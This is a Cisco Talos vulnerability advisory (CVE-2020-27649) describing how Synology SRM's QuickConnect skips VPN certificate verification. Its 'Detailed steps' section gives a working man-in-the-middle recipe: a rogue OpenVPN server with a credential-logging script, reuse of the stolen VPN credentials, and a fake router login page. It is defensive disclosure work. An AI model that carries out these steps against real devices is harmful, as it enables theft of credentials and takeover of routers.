Talos Vulnerability Report

TALOS-2020-1058

Synology SRM QuickConnect authentication Information Disclosure Vulnerability

OCTOBER 29, 2020

CVE NUMBER

CVE-2020-27649

SUMMARY

An exploitable information disclosure vulnerability exists in the QuickConnect authentication functionality of Synology SRM 1.2.3 RT2600ac 8017-5. An attacker can impersonate the remote VPN endpoint in order to steal VPN credentials, allowing an attacker to impersonate the remote client and in turn steal the router's credentials. An attacker can perform a man-in-the-middle attack to trigger this vulnerability.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Synology SRM 1.2.3 RT2600ac 8017-5
Synology DSM 6.2.3 25426 (confirmed by vendor)

PRODUCT URLS

SRM - https://www.synology.com/en-global/srm DSM - https://www.synology.com/en-global/dsm

CVSSV3 SCORE

8.3 - CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

CWE

CWE-295 - Improper Certificate Validation

DETAILS

Synology Router Manager (SRM) is a Linux-based operating system for Synology Routers developed by Synology.

SRM has a feature called QuickConnect, which allows users to remotely manage their router. This feature requires a Synology account and users have to set it up from the router Web interface in order to use it. The setup also requires the user to choose an arbitrary "QuickConnect ID", which will be used as a remote identifier for the router.

Once activated, the user is presented with a link that can be used to connect from anywhere via a browser, example: "http://QuickConnect.to/qcrouterid", where "qcrouterid" is the previously chosen identifier. When browsing this link, the router is instructed (via a previously-established channel between router and Synology servers) to establish a VPN connection with the remote QuickConnect endpoint. At this point, requests performed by the browser will be relayed to the internal router Web interface on port 8001 by default (SSL).

When instructed to do so, the `synorelayd` service uses the `libsynorelayd.so` library to create a "/tmp/tunnel.[id]" file containing the username and password used to authenticate to the VPN endpoint. Note that these credentials change for every QuickConnect-connection attempt.
The VPN connection is then established using OpenVPN in client mode, in particular this is the command line command which is executed by the device:

```
openvpn --client --mute-replay-warnings --auth-nocache --nobind --tun-mtu 1400 \
  --ping-exit 10 --connect-retry-max 3 --proto udp --remote [quickconnect_ip] \
  --port 443 --dev tun1000 --ca /usr/syno/etc/synorelayd/ca/ca.crt \
  --script-security 2 --auth-user-pass /tmp/.tunnel.[id] --remap-usr1 SIGTERM \         # [5]
  --cipher none --comp-lzo adaptive --reneg-sec 0 --verb 0 \                            # [6]
  --route-up "/usr/syno/etc.defaults/synorelayd/scripts/up.sh 32317" \
  --down /usr/syno/etc.defaults/synorelayd/scripts/down.sh \
  --syno-no-verify \                                                                    # [1]
  --allow-recursive-routing
```

Note at [1] the command line option "–syno-no-verify". This is a custom option added to OpenVPN and it's used to modify the SSL certificate checks:

```
$ openvpn --help | grep no-verify
--syno-no-verify: Connect openvpn tls server without ssl verification.
```

In the OpenVPN binary we can see this option being used:

```
void tls_ctx_set_options(SSL_CTX **new_ctx,int ssl_flags) {
  ...
  mode = *(uint *)(ssl_flags + 0x414) & 1;
  if (mode == 0) {                                      // Checks absence of SSLF_CLIENT_CERT_NOT_REQUIRED (--client-cert-not-required)
    if (*(char *)(ssl_flags + 0x3ac) == '\0') {         // Checks absence of "--syno-no-verify"
      mode = 3;                                         // mode = SSL_VERIFY_PEER | SSL_VERIFY_FAIL_IF_NO_PEER_CERT
    }
    SSL_CTX_set_verify(*new_ctx,mode,verify_callback); // [2]
  }
  else {
    iVar1 = FUN_0001d968(0x40);
    if (iVar1 != 0) {
      msg(0x40,
          "WARNING: POTENTIALLY DANGEROUS OPTION --client-cert-not-required may accept clients which do not present a certificate"
         );
    }
  }
  SSL_CTX_set_info_callback(*new_ctx,(cb *)&DAT_0006bdc4);
}
```

For comparison, the original OpenVPN source code is the following:

```
void tls_ctx_set_options (struct tls_root_ctx *ctx, unsigned int ssl_flags) {
  ...
  /* Require peer certificate verification */
#if P2MP_SERVER
  if (ssl_flags & SSLF_CLIENT_CERT_NOT_REQUIRED)
    {
      msg (M_WARN, "WARNING: POTENTIALLY DANGEROUS OPTION "
      "--client-cert-not-required may accept clients which do not present "
      "a certificate");
    }
  else
#endif
  SSL_CTX_set_verify (ctx->ctx, SSL_VERIFY_PEER | SSL_VERIFY_FAIL_IF_NO_PEER_CERT,
              verify_callback);

  SSL_CTX_set_info_callback (ctx->ctx, info_callback);
}
```

The line at [2] will be executed with `mode = 0` if the "–syno-no-verify" option is used and the "–client-cert-not-required" is not used, which is the situation that we have when `synorelayd` creates the tunnel. From the OpenSSL manual, a mode of 0 corresponds to:

SSL_VERIFY_NONE
Client mode: if not using an anonymous cipher (by default disabled), the server will send a certificate which will be checked. The result of the certificate verification process can be checked after the TLS/SSL handshake using the SSL_get_verify_result(3) function. The handshake will be continued regardless of the verification result.

This means that if an OpenVPN server does not present the expected certificate, the connection will continue, meaning that an attacker could impersonate the remote server by supplying an invalid certificate. In practice however, this doesn't seem to be enough to perform a man-in-the-middle attack.
In fact, at [2], the function `verify_callback` is specified, and this is called during verification:

```
int verify_callback (int preverify_ok, X509_STORE_CTX * ctx)
{
  int ret = 0;
  struct tls_session *session;
  SSL *ssl;
  struct gc_arena gc = gc_new();

  /* get the tls_session pointer */
  ssl = X509_STORE_CTX_get_ex_data (ctx, SSL_get_ex_data_X509_STORE_CTX_idx());
  ASSERT (ssl);
  session = (struct tls_session *) SSL_get_ex_data (ssl, mydata_index);
  ASSERT (session);

  cert_hash_remember (session, ctx->error_depth,
      x509_get_sha1_hash(ctx->current_cert, &gc));

  /* did peer present cert which was signed by our root cert? */
  if (!preverify_ok)
    {
      /* get the X509 name */
      char *subject = x509_get_subject(ctx->current_cert, &gc);

      if (subject)
    {
      /* Remote site specified a certificate, but it's not correct */
      msg (D_TLS_ERRORS, "VERIFY ERROR: depth=%d, error=%s: %s",
          ctx->error_depth,
          X509_verify_cert_error_string (ctx->error),
          subject);
    }

      ERR_clear_error();

      session->verified = false;                                                 // [3]
      goto cleanup;
    }

  if (SUCCESS != verify_cert(session, ctx->current_cert, ctx->error_depth))
    goto cleanup;

  ret = 1;

cleanup:
  gc_free(&gc);

  return ret;
}
```

This function seems to be unmodified, but note how it's setting the `verified` flag to "false" [3] when the certificate is not correct. This is the path that an attacker would trigger when supplying an arbitrary certificate.

The TLS handshake, from the OpenVPN perspective, will continue without issues, however at some point the function `key_method_2_read` will be called, which checks if the session is verified:

```
static bool key_method_2_read (struct buffer *buf, struct tls_multi *multi, struct tls_session *session)
{
  ...
    {
      /* Session verification should have occurred during TLS negotiation*/
      if (!session->verified)                                                 // [4]
      {
        msg (D_TLS_ERRORS,
             "TLS Error: Certificate verification failed (key-method 2)");
        goto error;
      }
      ks->authenticated = true;
    }
  ...
```

Because the session verification has been skipped and "session->verified" is false, the attacker would hit the check at [4] and the connection gets terminated.

Despite this, between the line at [3] and the line at [4], OpenVPN assumes that the server is verified, and so it proceeds with the client authentication.
At [5], the command line "–auth-user-pass /tmp/.tunnel.[id]" is used to authenticate the client. The file contains username and password separated by a newline, which are sent to the remote OpenVPN server.

Because the client authentication happens before `key_method_2_read` is called (and thus before hitting [4]), an attacker can exploit this issue for stealing the client's VPN credentials, by supplying any invalid certificate as a server.
In turn, these credentials can be used to connect to the QuickConnect endpoint, impersonating the router. A fake HTTP server (mimicking the Synology interface) could then be set up to steal the router credentials, which can then be used to connect to the real router via the QuickConnect servers.

Detailed steps

In more detail, the steps to pursue such an attack are the following:

1. redirect all connections towards [quickconnect]:443 to the attacker machine [attacker]
2. steal the credentials:
   1. redirect the traffic from [attacker]:443 to the local (fake) OpenVPN server (e.g. [attacker]:1194)
   2. have a logger script in the OpenVPN server (e.g. /etc/openvpn/log_auth.sh):

      ```
      #!/bin/bash
      cp $1 /tmp/quickconnect_openvpn_auth
      ```

   3. start the OpenVPN server:

      ```
      /usr/bin/openvpn --mode server --tls-server --proto udp --port 1194 \
          --dev tun --ca customca.crt --cert customcrt.crt --key customcrt.key \
          --dh dh.pem --verb 2 --cipher none --auth none --verify-client-cert none \
          --auth-user-pass-verify /etc/openvpn/log_auth.sh via-file --script-security 2
      ```

   4. the end-user tries to connect to its router remotely, by browsing "http://QuickConnect.to/qcrouterid" ("qcrouterid" is the QuickConnect id)
   5. credentials will be saved in "/tmp/quickconnect_openvpn_auth" as soon as the server outputs:
      "TLS: Username/Password authentication succeeded for username"
   6. the router will terminate the connection since the TLS connection is not verified (line at [4])
3. redirect the traffic from [attacker]:443 to the legitimate QuickConnect server ([quickconnect]:443)
4. the router will retry to establish the TLS connection. This time the connection reaches the QuickConnect servers and will be established. Now the end-user browser will make an HTTP GET request for "/webman/index.cgi", and this reaches the router's web server via the VPN connection
5. as soon as the string "GET /webman/index.cgi" is found in a packet, the attacker cuts off the traffic redirection. This makes the connection with the web server to never complete.
6. the attacker, using the stolen credentials, connects to the quickconnect endpoint ([quickconnect]:443):

   ```
   openvpn --client --auth-nocache --nobind --tun-mtu 1400 --ping-exit 10 \
       --connect-retry-max 3 --proto udp --remote 185.102.219.105 --port 443 \
       --dev tun1000 --ca synologyca.crt --script-security 2 \
       --auth-user-pass /tmp/quickconnect_openvpn_auth --cipher none --comp-lzo adaptive \
       --reneg-sec 0 --verb 2 --allow-recursive-routing --route-up /etc/openvpn/up.sh
   ```

   The "up.sh" script is needed to setup the correct route (making sure to forward the packets via the VPN)

   ```
   #!/bin/bash
   ip route add default dev tun1000 table custom
   ```

7. the attacker will receive a connection to port 8001 (or 8000, depending if SSL or not). The attacker will have a fake web server setup that just logs the credentials input in the (fake) Synology router login page. Note that the victim won't be able to distinguish the fake login page from the legitimate one, even if the attacker can't provide a valid SSL certificate, since the victim is connected to the "quickconnect.to" server via SSL (which should always have a valid certificate).
8. after the end-user's browser talks to the attacker's web server, the attacker has knowledge of the victim QuickConnect id by looking at HTTP headers. Example request:

```
GET /webman/index.cgi HTTP/1.1
Host: qcrouterid.quickconnect.to
...
```

9. after the router credentials are stolen, and with knowledge of the QuickConnect id, the attacker can connect directly to the router by browsing "http://QuickConnect.to/qcrouterid".

Finally note that, despite the number of steps required, the victim only needs to perform two requests to fall victim of this attack (one to request the login page, and one to submit the login form), hence, from the user perspective, this is indistinguishable from a legitimate connection.

TIMELINE

2020-04-27 - Vendor disclosure
2020-04-28 - Vendor acknowledged
2020-06-02 - Disclosure release deadline requested and Talos extended to 2020-09-30
2020-06-22 - 2nd extension requested; disclosure extended to 2020-10-30
2020-10-29 - Public Release

CREDIT

Discovered by Claudio Bozzato of Cisco Talos.

VULNERABILITY REPORTS

PREVIOUS REPORT TALOS-2020-1066

NEXT REPORT TALOS-2020-1071